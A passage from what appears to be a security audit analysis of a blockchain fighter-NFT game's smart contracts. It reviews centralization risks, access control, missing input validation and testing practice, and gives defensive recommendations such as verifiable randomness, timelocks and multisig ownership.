This contract allows users to potentially earn a new fighter NFT. When a user wins a battle he can choose to have some of his points allocated to the MergignPool.sol contract. The main page of the contest mentions that there will be a raffle to determine the winners of each round, but the pickWinner()function is called by an admin, and there is no randomness that can be verified on chain that is used to decide who the winners are. Also there is no clear use case of the points won by a user, as from the contract code it doesn't seem they have any weight on determining the winner. I would recommend to either utilize a Chainlink VRF as a source of randomness or take into account how many points the users have won in that round, when determining the winners. Implement it in a way that can easily be proven on chain, that will create more trust in the user base of the protocol. Other than that the contract should function as expected.

Neuron.sol

The Neuron token is used for various functions within the platform, including staking, and rewards. Granting mint, approve and burn roles to anyone the owner decides to, is a dangerous practice, because if the owner address gets compromised all the balances will be stolen. Consider utilizing the ERC2612 instead, more safety measures are discussed in the Centralization risks chapter. The way the AccessControl.sol is implemented in the Neuron.sol contract is not according to the best practices, as _setupRole() is called outside of the constructor consider using grantRole() to follow best practices. Consider utilizing the Ownable2Step contract from openzeppelin, as in this way you won't have to create your own transferOwnership() function, as well as having to check in each function if the msg.sender is the owner, as the Ownable2Step contacts comes with a built in modifier. Also instead of checking if the caller of a specific function is an admin, consider implementing a modifier as there are a couple of instances where such checks are performed. Other than that this contract should function properly.

RankedBattle.sol

This contract provides functionality for staking NRN tokens on fighters, tracking battle records, calculating and distributing rewards based on battle outcomes and staked amounts, and allowing claiming of accumulated rewards. Admins should be extremely careful when the call the setBpsLostPerLoss() function, because if it is called during an ongoing round it will be problemtaic for the rewards at stake calculations for users, for those that lost a substantial amount, it will be beneficial if bpsLostPerLoss is increased, as it will require less wins to get back the full amount. Consider adding a pause functionality to this contract, as this way it will be much safer to start a new round, set new bpsLostPerLoss, or modify the addresses of some of the contracts the RankedBattle.sol contract interacts with. Especially the StakeAtRisk.sol contract. Consider utilizing the Ownable2Step contract from openzeppelin, as in this way you won't have to create your own transferOwnership() function, as well as having to check in each function if the msg.sender is the owner, as the Ownable2Step contacts comes with a built in modifier. Also instead of checking if the caller of a specific function is an admin, consider implementing a modifier as there are a couple of instances where such checks are performed. There are a couple of vulnerabilities within the contract regarding, malicious users utilizing insufficient validations in order to win more points, once those vulnerabilities are fixed this contract should function properly.

StakeAtRisk.sol

This contract allows the RankedBattle.sol contract to manage the staking of NRN tokens at risk during battles. Consider adding a function to change the treasuryAddress if it gets compromised, this will require an admin or owner access control as well. There is not much else that can be said about this contract.

VoltageManager.sol

This contract allows the management of voltage for game items and provides functions for using and replenishing voltage. Consider utilizing the Ownable2Step contract from openzeppelin, as in this way you won't have to create your own transferOwnership() function, as well as having to check in each function if the msg.sender is the owner, as the Ownable2Step contacts comes with a built in modifier. There is some vulnerabilities that may arise if the protocol is deployed on a chain that allows for frontrunning, as the spendVoltage() function can be abused by a malicious user in order to drain his voltage so he can revert battles, the outcome of which he doesn't like. There is not much else that can be said about this contract.

6. Centralization risks

The protocol is heavily centralized. All important parameters can be changed either by the owner or by an admin. Combining it with the fact that there are no input validation this is a real centralization risk. In the FighterFarm.sol contract if the _delegatedAddress is compromised, there is no way to change that address, and now an infinite number of NFTs can be minted by malicious users. Consider adding a function that will allow you to change this address in the scenario it gets compromised, also consider a timelock function. There are no timelock functions for actions affecting all the users of the protocol, I would advise the team to consider adding such functions. If an admin account gets compromised, having a timelock function will give the users enough time to withdraw their funds safely if no other actions to protect them can be taken from the team. If the owner account is compromised all contract addresses can be changed as well as all parameters, the biggest concern is the way the Neuron.sol contract is implemented. A burn, approve and mint roles can be granted by the owner to anyone. If the owner gets compromised all of the NRN balances of all the users can be drained. Consider utilizing multisig wallets such as Safe, in order to better secure the accounts, or implement a DAO and give the owner role to the DAO. As pointed above consider utilizing openzeppelin Owanble2Step contract, for safe ownership transfer.

7. Security approach of the project

The protocol is missing some edge case tests, as well as other unit tests which don't consider only the expected behavior of the user. The decision to utilize the foundry framework in order to build the protocol is a great one, although not all benefits of the frameworks are utilized especially when it comes to tests. Consider implementing fuzz(foundry built in fuzzer is a great tool) and invariant tests to better cover edge cases. It is a very good decision that you decided to get your code base audited by a platform such a C4, although all auditors put their best effort in finding and submitting all vulnerabilities, we can miss something, creating a bug bounty on platforms such as immunefi creates and additional layer of security.

8. Software engineering considerations

Modularity and reusability

The contracts within the protocol exhibit modularity by inheriting from several interfaces and contracts, suggesting components are designed for reuse and extension. This approach aligns with solid software engineering principles, promoting maintainability and scalability.

Code readability and maintainability

Most of the protocol's naming conventions are clear, with few exceptions mentioned above, some improvement may be welcomed. NatSpec is well defines which is really a good practice beneficial for the readability and maintainability of the code which is crucial for long-term management and updates. Although there are some instance where @return and @param tags are missing, I would recommend to add those.

Error handling and input validation

It is a good practice to utilize custom error messages this indicates a proactive approach to error handling, input validations are also missing, especially when setting the bpsLostPerLoss, and no address(0) checks, this can cause mistakes which results in a loss for the protocol. Input validations as well as custom error messages should be implemented as it is critical for robustness and user trust.

Upgradeability

The potential for future upgrades and modifications should be considered, especially when a lot of L2s, have plans about moving towards decentralized sequencers, which may introduce frontrunning vulnerabilities. However, the protocol doesn’t explicitly mention upgrade mechanisms.

Documentation

Part of the documentation is outdated, and the changes are substantial, having a good and up to date documentation helps with the long-term management and updates of the contract.

Time spent:

25 hours

Time spent:

25 hours